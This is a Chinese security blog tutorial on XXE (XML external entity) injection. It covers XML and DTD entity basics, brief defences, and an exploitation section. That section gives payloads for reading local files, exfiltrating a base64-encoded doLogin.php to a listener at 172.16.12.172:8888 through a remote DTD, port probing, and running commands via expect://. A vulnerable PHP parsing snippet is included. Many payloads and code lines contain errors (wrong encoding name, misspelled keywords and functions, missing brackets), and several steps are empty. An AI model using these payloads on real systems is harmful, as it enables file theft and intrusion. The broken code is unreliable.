XXE XML外部实体注入 漏洞

0x00 XML 基础知识

ⅩML 介绍

  • XML 是 The Extensible Markup Language(可扩展标识语言)的简写。

  • XML最初的目的是弥补 HTML 的不足,后来逐渐用于网络数据的转换和描述 ,XML 的设计宗旨是传输数据

  • XML在 web 中的应用已十分广泛。XML 是各种应用程序之间数据传输 最常用的数据格式。

与 HTML 的区别:

  • XML 被设计用来传输和存储数据,其焦点是数据的内容。

  • HTML 被设计用来显示数据,其焦点是数据的外观。

  • HTML 旨在显示信息 ,而 XML 旨在传输信息

XML实体介绍

  • 什么是XML实体

  • 在一个甚至多个XML文档中频繁使用某一条数据,我们可以预先定义一个这条数据的“别名”,即一个 ENTITY ,然后在这些文档中需要该数据的地方调用它。根据实体的来源我们可以分为内部实体和外部实体。XML定义了两种类型的 ENTITY,一种在XML文档中使用,另一种作为参数在DTD文件中使用。定义好的 ENTITY在文档中通过"&实体名;"来使用。

  • 可以把实体当作xml语言的变量

  • XML实体类型有两种:普通实体参数实体

  • XML实体的语法
<!DOCTYPE根元素 [<!ENTITY内部普通实体名 "实体所代表的字符串">]>
<!DOCTYPE根元素 [<!ENTITY外部普通实体名 SYSTEM "外部实体的UR|">]>
<!DOCTYPE根元素 [<!ENTITY % 内部参数实体名 "实体所代表的字符串">]>
<!DOCTYPE根元素 [<!ENTITY % 外部参数实体名 SYSTEN "外部实体的URL">]>

DTD文档介绍

  • 概述

  • DTD使数据格式之间按照相同的标准 来传输。

  • DTD是一种XML约束模式 语言,用来解释XML文档

  • DTD类型:分为内部DTD文档和外部DTD文档

  • DTD文档的语法结构:

  • 内部 DTD文档的语法结构:<!DOCTYPE根元素 [定义内容]>

  • 外部 DTD文档的语法结构:<!DOCTYPE根元素 SYSTEM "DTD文件路径">
  1. 新建一个DTD文档 outdid.dtd

  1. 新建一个XML文档 outdid.xml

  • 内外 DTD文档结合的语法结构:
  1. 新建一个DTD文档 out2dtd.dtd

  1. 新建一个DTD文档 out2dtd.xml

XML支持的协议

XML 实体引用

  1. 普通实体引入外部实体:

  1. 参数实体引入外部实体:

XML实体定义总结

<?xml version='1.0' encoding='utf-8'?>   //标识(可要可无)  
<!DOCTYPE bbb SYSTEM "dtd文档路径"[
<!ELEMENT name (#PCDATA)>     //内部dtd文档    
<!ELEMENT age (#PCDATA)>
<!ENTITY xxe SYSTEM "file:///c:/windows/win.in">
<!ENTITY abc "hello word!">   //内部普通实体定义     
<!ENTITY % b "abcd">          //内部参数实体定义
<!ENEITY c SYSTEM "路径">      //外部普通实体声明   
%b
]>
<aaa>
    <asd>&xxe;</asd>
    <age>&b;</age>
    <sex>&c;</sex>
    <a>&xxe;</a>
</aaa>


//区分内部还是外部实体调用看有没有SYSTEM 有SYSTEM关键字一定是外部调用   
//普通实体外部调用
<!DOCTYPE aa [
<!ENTITY a SYSTEM "文件路径(可以是普通路径也可以是URL)">]>
<a>&a;</a>      //只有调用实体才会发生文件读取

0x01 XXE 漏洞原理

XXE概述

  • XXE漏洞也叫XML外部实体注入 ,XXE漏洞发生在应用程序解析XML输入 时,没有禁止外部实体的加载 ,导致可加载恶意外部文件

漏洞的产生

  • 对上传的xml文件没有进行过滤 ,导致可上传恶意xml文件

0x02 XXE 漏洞危害

漏洞的危害

  1. 读取任意文件

  2. 执行系统命令

  3. 内网端口扫描

  4. 攻击内网其他网站

0x03 XXE 漏洞防御

  • 禁止使用外部实体 ,例如 libxml_disable_entity_loader(true)

  • 过滤 用户提交的XML数据 ,防止出现非法内容

0x04 XXE 漏洞利用

  1. 读取任意文件
<?xml version="1.0" encoding="urf-8">
<!DOCTYPE note[!ENTITY xxe SYSTEM "file:///c:windows/win.ini"]>
<name>&xxe;</name>

<!DOCTYPE note[!ENTITY xxe SYSTEM 'php://filter/read=convert.base64-encode/resource="文件路径"']>

外带数据 ** 读取任意文件**

  • 监听8888端口
// payload
<?xml version="1.0" encoding="urf-8">
<!DOCTYPE note[!ENTITY xxe SYSTEM "http://172.16.12.172:8888/xxe.dtd"]>
<name>&send;</name>

// 远程xxe.dtd文件
<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
<!ENTITY % int "<!ENTITY send SYSTEM 'http://172.16.12.172:8888/?data=%data;'>">
%int;

  1. 远程端口探测
  • (主机存活扫描)根据页面延迟 banner信息 (不准)
<?xml version="1.0" encoding="urf-8">
<!DOCTYPE note[!ENTITY xxe SYSTEM "http://ip:探测端口号/test"]>
<name>&xxe;</name>

  1. 远程命令执行
  • 有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用 导致的。

  • 前提:PHP环境中安装了expect扩展

  • payload:

<?xml version="1.0" encoding="urf-8">
<!DOCTYPE note [<!ENTITY xxe SYSTEM "expect://系统命令">]>
<name>&xxe;</name>

漏洞代码分析

  • 服务端代码分析
<?php
  if(!empty($_POST['sub'])){
    $data = $_POST['data']:
    $xmL = simp_lexml_load_string(data); //XML解析函数
    print($xm1);
  }
?>
  • simplexml_load_string() 函数的作用是把XML字符串载入对象中,函数获取xml内容,并没有进行任何的过滤

0x05 XXE 漏洞挖掘

  1. 判断当前网页数据传输是否使用xml语言
  • 看content-type:application/xml

  • 看请求体是否满足xml格式数据

  1. 直接加外部实体看他是否会解析

注:一定要有调用的过程,定义好的实体不去调用文件读取的步骤就是无效的

posted @ 2021-11-21 11:09  FreeK0x00  阅读(197)  评论(0编辑  收藏  举报